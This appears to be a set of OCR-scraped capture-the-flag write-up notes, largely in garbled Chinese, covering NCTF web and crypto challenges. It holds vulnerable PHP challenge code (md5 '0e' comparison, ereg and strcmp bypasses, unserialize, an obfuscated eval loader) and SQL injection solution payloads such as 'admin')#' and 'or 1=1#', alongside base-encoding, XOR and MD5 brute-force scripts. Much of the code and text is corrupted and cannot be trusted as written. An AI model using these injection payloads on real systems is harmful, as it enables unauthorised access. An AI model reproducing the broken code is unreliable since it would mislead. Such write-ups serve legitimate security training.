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<?php

$md51 = md5( ' QNKCDZO');
$a = @$_GET['a'];

$md52 = @md5(%$a);

if(isset($a)){

if ($a != 'QNKCDZO' && $md51 == $md52) {
eChO "nctf{*****************}";

} else {
echo "falselll";

3

else{echo "please input a";}
?>
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<?php
function CLSI($ZzvSWE) {

$ZzvSWE

gzinflate(base64_decode($ZzVSWE));

for ($i = @; $i < strlen($ZzvSWE); $i++) {
$ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);

}

return $ZzvSWE;

}eval(CLsI("+7DnQGFmYVZ+eoGmlgofd3puloZlfkppeklGdVZhQnISSZq5aUImGNQBAA=="));?>
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??<?php
error_reporting(0);
include("hereiskey.php");
$url=base64_decode($_GET[url]);
if( $url=="hereiskey.php" || $url=="buxiangzhangda.mp3" || $url=="xingxingdiandeng.mp3" || $url=="downl
$file_size = filesize($url);
header ( "Pragma: public" );
header ( "Cache-Control: must-revalidate, post-check=0, pre-check=0" );
header ( "Cache-Control: private", false );
header ( "Content-Transfer-Encoding: binary" );
header ( "Content-Type:audio/mpeg MP3");
header ( "Content-Length: " . $file_size);
header ( "Content-Disposition: attachment; filename=".$url);

echo(file_get_contents($url));

exit;
}
else {

echo "Access Forbidden!";
?>
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TIP:sql.php

<?php
if($_GET[id]) {
mysql_connect(SAE_MYSQL_HOST M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$id = intval($_GET[id]);
$query = @mysql_fetch_array(mysql_query(“"select content from ctf2 where id='$id'"));
if ($_GET[id]==1024) {
echo "<p>no! try again</p>";
¥
else{
echo($query[content]);

¥
?>
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if (isset ($_GET['nctf'])) {

if (@ereg ("~[1-9]+$", $_GET['nctf']) === FALSE)
echo 'WIEIANBIF AT ;

else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)
die('Flag: '.$flag);

else

echo 'TEAE, SREEEX AR~
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if (isset($_GET['a']) and isset($_GET['b'])) {
if ($_GET['a'] != $_GET['b'])

if (md5($_GET['a']) === md5($_GET['b']))
die('Flag: '.$flag);

else

print 'Wrong.';

}
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<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("<p>not allowed!</p>");

exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{

echo "<p>Access granted!</p>";
echo “<p>-F1ag: *****************} </p>";

?>
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<?php if($_POST[user] && $ POST[pass]) { mysql_connect(SAE_MYSQL_HOST M . ':' . SAE_MYSQL_PORT,SAE_MYSQ
RAG & Bk 2 post user5pass, 2R JG # 38 postfuser A Ji & admin fH & Z A5 A 5, Bt LUk 18 7E $sql=1X A A8 /pvE 53t and

(pw="".$pass."") XE
JT LA 3 V8 A R X A
admin’y#

BIE— T X AR X B $sqla 2

"select user from ctf where (user='admin')#."') and (pw="'".$pass."")"

Bp

"select user from ctf where (user='admin')

pass check
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<?php

$pass=@$_POST[ 'pass'];
$pass =ik o/ /3 RaHER I B RS
if(isset($pass))

{
if(@!strcmp($pass,$passl)){
echo "flag:nctf{*}";

telseq{

echo "the pass is wrong!";
}

telse{

echo "please input pass!";

}

?>
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<?php
function noother_says_correct($number)

{
$one = ord('1");
$nine = ord('9");
for ($i = 0; $i < strlen($number); $i++)
{
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
return false;
}
}
return $number == '54975581388";
}

$f1ag='*******';
if(noother_says_correct($_GET['key']))
echo $flag;
else
echo 'access denied’;
?>
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<?php

class just4fun {
var $enter;
var $secret;

if (isset($_GET['pass'])) {
$pass = $_GET['pass'];
if(get_magic_quotes_gpc()){

$pass=stripslashes($pass);

$0 = unserialize($pass);

if ($0) {
$o->secret = "*";
if ($o->secret === $o->enter)
echo "Congratulation! Here is my secret: ".$o->secret;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
?>
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#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php’;

function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);

}
return htmlentities($str, ENT_QUOTES);

$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET[ 'password']);

$query="SELECT * FROM users WHERE name=\''.$username.'\"' AND pass=\''.$password.'\"';";
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){

die('Invalid password!");

echo $flag;
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"SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\'"'.$password.'\"';";
SELECT * FROM users WHERE name=\'$username\’' AND pass=\'$password\’;

R R E B pass

SELECT * FROM users WHERE name=\'admin#\' AND pass=\'$password\’;
B

SELECT * FROM users WHERE name=\'admin

AT (F NEAEhtmlentities () E¥)

R EE A or 1=1
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name=\"'$username\' AND pass=\'(phpH)

name="'$username’ AND pass='(sql®#)

M$username/GH A BRI " A&, WA\ AT EREI\ " B\ ", (85 30" R (phpH) . BIN"\\" AND pass=\".EJ"\"
HL$passwordifor 1=1#

A EA

post WJiEH]N?username=\&password=or 1=1%23

phpH i1iEHA]HSELECT * FROM users WHERE name='\' AND pass='or 1=1#"';

sql¥HIiEAINSELECT * FROM users WHERE name='\' AND pass=' or 1=1
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@ # ReferenceError: unescawe is not defined debugge...unction (38 1 17)
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<?php
if($_POST[user] & $ POST[pass]) {
mysql_connect(SAE_MYSQL_HOST M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL _DB);
$user = $ POST[user];
$pass = md5($_POST[pass]);
$query = @mysql_fetch_array(mysql_query(“"select pw from ctf where user='$user'"));
if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
echo "<p>Logged in! Key: ntcf{***xiktikkxiok®l ¢/py*;

}
else {
echo("<p>Log in failure!</p>");

}

?>
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select pw from ctf where user=admin and 1=2

T SRR pw, T BAFI A union ] UX 4 #41&

select pw from ctf where user=admin and 1=2 union select md5(1)
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password=1
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........ BRATREBONAL........

/*
WMRERE AL AR EH AN die()
Bl A

-- RMEH “user’

CREATE TABLE IF NOT EXISTS “user’ (
“id® int(11) NOT NULL AUTO_INCREMENT,
“username” varchar(255) NOT NULL,
“email” varchar(255) NOT NULL,
“token™ int(255) NOT NULL DEFAULT ‘@',
PRIMARY KEY (" id’)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ;

-- BERPHEE user

INSERT INTO “user’ ("id", “username’, “email’, "“token ) VALUES
(1, '****Z:ﬁ]‘l)l_l_‘***', '***Z:ﬁ]‘m***') @);
*/

if('empty($token)&&!empty($emailAddress)){
if(strlen($token)!=10) die('fail');
if($token!="0") die('fail');
$sql = "SELECT count(*) as num from “user  where token='$token' AND email='$emailAddress'";
$r
$r = mysql_fetch_assoc($r);
$r = $r['num'];
if($r>0){
echo $flag;
telse{
echo "RILTHEF";

mysql_query($sql) or die('db error');

}
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nvshen,pg
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(% iflag % =X B nctf} 22 Biflag({ & K 1715 ..)

JIFAGE 22 ) — 5 A zip 1 3 & (http://www.cnblogs.com/test404/p/5979110.html)
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#L: bmNOZnt0aGIzX21zX2Jhc2U2NF9IbmNvZGV9
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http://www.cnblogs.com/test404/p/5979110.html

ERAFRAFEREM!
ZRAEPRUERE R, RITHTIN _Lnctf
ytfvbhn tgbgy hjuygbn yhnmki tgvhn uygbnjm uygbn yhnijm

EEREE —THT T~

base644 %

EFRMEFRWERT!

REABRT o 0 0 0 0 o

FL(RE MR EZ%): R1pDVE1NWIhHUTNE TU4yQOdZWKRNTUpYROOZREINWIAHTTJES
1JSVOdJMORD TIpUR1kyVEdNWIRHS TJVTU5S UkdaQ1RNTKJWS VK
ZREVOUIJHNFpUTU5SKVEJFWIRNTJF

45 Fi.. .base64,base32,base16.

import base64
print base64.bl6decode(base64.b32decode(base64.b64decode( ' R1pDVEINWIhHUTNETU4yQOdZWKkRNTUpYROOZREENW1dHT

niXbase64

AR Rbaseb4

Aide o o WEBREEEZ
# i pythonf# it~

Huhk: 2 SCH bR

#SHh R

while 1:
s=base64.b64decode(s)
print s

I R 3

<?php function encode($str){ $_o=strrev($str); for($_0=0;%$ o0<strlen($_o);$_0++){ $_c=substr($_o0,%$ 0,1);

ML GBERBHRT T

<?php function decode($str) { $str=base64_decode(strrev(str_rotl3($str))); $_o=strrev($str); for($_0=0;

mixed_base64

% HEbaseb4 %,
F(sang)#& (xin)i% (bing )3 (kuang)!


http://chinalover.sinaapp.com/decode1/base64.txt

import random

from base&4 import *

result={
'16':lambda =x:bléencode (X)),
'32':lambda x:b3Zencode (x),
'64':lambda =x:b6dencode (X)),
}

flag=b"nctf{#****&*xsax= L

for i in range (10):
a=random.choice(['1l&",'32","64"])
flag=result[a] (flag)

with open("code.txt","wb") as £:
f.write(flag)

code.txt

Wt R BE L Mbase64,32,16 Lt —/MInE )R B 1048 R BEARE T python KL 4

from base64 import *
import itertools
s=open('l.txt','r').read()
result={
'16"':1lambda x:bl6édecode(x),
'32':lambda x:b32decode(x),
'64"':lambda x:b64decode(x)
}
for i_1 in ['16','32"','64"']:
for i_2 in ['16','32"','64"]:
for i_3 in ['16','32','64"]:
for i_4 in ['16','32"','64"]:

for i 5 in ['16',"'32"',"'64"]:

for i_6 in ['16','32','64"]:
for i_7 in ['16','32',"'64"]:
for i_8 in ['16',"'32',"'64"']:
for i_ 9 in ['16','32',"'64"']:
for i_1@ in ['16','32','64']:

try:

print result[i_10](result[i_9](result[i_8](result[i_7](resu

except:

continue

KEEHAN10F it T ~IiFF 2([32 16 16 64 16 64 32 16 32 32]

S AR

FtEEE, RUEARER R !
(REER, RAEMKD

R RS IR


http://ctf.nuptzj.cn/static/uploads/3e5c0c7045f2a81363a45d97d69911e3/code.txt

TIPS:

1.xor

2.hex2binary
3.len(bin(miwen))==len(bin(mingwen))

s
#% fitips, 54~ pythoni rhi~
ens=open('en.txt','r').read()#&
des=open('de.txt', 'r').read()##3C
for i in range(len(des)):
print chr(ord(des[i])”ord(ens[i])),
MD5
python K ¥ i !

X EA—BERIIMISE
€9032?7?da???08????911513?0???a2
ZORARIE SR H A FF BN Enctf{R 32

SRIZRE B3N TASC?03RIMV?WDJIKX?ZM

R E RIE: ZIEH

B R IE 24b B SR python KB 2 1~

import hashlib
for i in range(32,127):
for j in range(32,127):
for k in range(32,127):
m=hashlib.md5()
m.update('TASC'+chr(i)+"'03RIMV'+chr(j)+"WDIKX '+chr(k)+'zZM")
des=m.hexdigest()
if 'e9032' in des and 'da' in des and '911513" in des:
print des

J5 L& TASCJO3RIMVKWDJKXLZM

Vigenere
300

It is said that Vigenere cipher does not achieve the perfect secrecy actually :-)

Tips:

1.The encode pragram is given;

2.Do u no index of coincidence ?

3.The key is last 6 words of the plain text(with “nctf{}” when submitted, also without any interpunction)


http://ctf.nuptzj.cn/static/uploads/7ecc0dbd59f262e698b2dd94b39825bc/biubiubiu.zip

code is here(without’

Y
F96DE8C227A259C87EE1DA2AED57C93FESDA36ED4EC87EF2C63AAESBIATEFFD673BE4ACF7BE8923CAB1ECETA
F2
DA3DA44FCF7AE29235A24C963FFODF3CA3599A70E5DA36BF1ECE77F8DC34BE129A6CF4D126BF5BO9A7CFEDF3EB
8
50D37CFOC63AA2509A76FF9227A55B9A6FE3D720A850D97AB1DD35EDS5FCEGBFOD138A84CC931B1F121B44ECET70
F
6C032BD56C33FF9D320ED5CDF7AFF9226BESBDE3FF7DD21EDS56CF71F5C036A94D963FF8D473A351CE3FESDA3C
B
84DDB71F5C17FED51DC3FE8D732BF4D963FF3C727ED4AC87EF5DB27A451D47EFD9230BF47CA6BFEC12ABE4AD
F7
2E29224A84CDF3FF5D720A459D47AF59232A35A9A7AE7D33FB85FCE7AF5923AA31EDB3FF7D33ABF52C33FF0OD67
3A
551D93FFCD33DA35BC831B1F43CBF1EDF67FODF23A15B963FESDA36ED68D378F4DC36BF5BOA7AFFD121B44ECE
76
FEDC73BE5DD27AFCD773BA5FCO3FE5SDA3CB859D26BB1C63CED5CDF3FE2D730B84CDF3FF7DD21ED5SADF7CFO
D63
6BE1EDB79E5D721ED57CE3FE6D320ED57D469F4DC27A85A963FF3C727ED49DF3FFFDD24ED55D470E69E73AC50
DE
3FE5DA3ABE1EDF67F4C030A44DDF3FF5D73EA250C96BE3D327A84D963FESDA32B91ED36BB1D132A31ED87AB1D
021

A255DF71B1C436BF479A7AF0C13AA14794

encode.cpp
code.txt
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http://ctf.nuptzj.cn/static/uploads/13706e3281c1fb0c04417d3452cb745b/encode.cpp
http://ctf.nuptzj.cn/static/uploads/9a27a6c8b9fb7b8d2a07ad94924c02e5/code.txt
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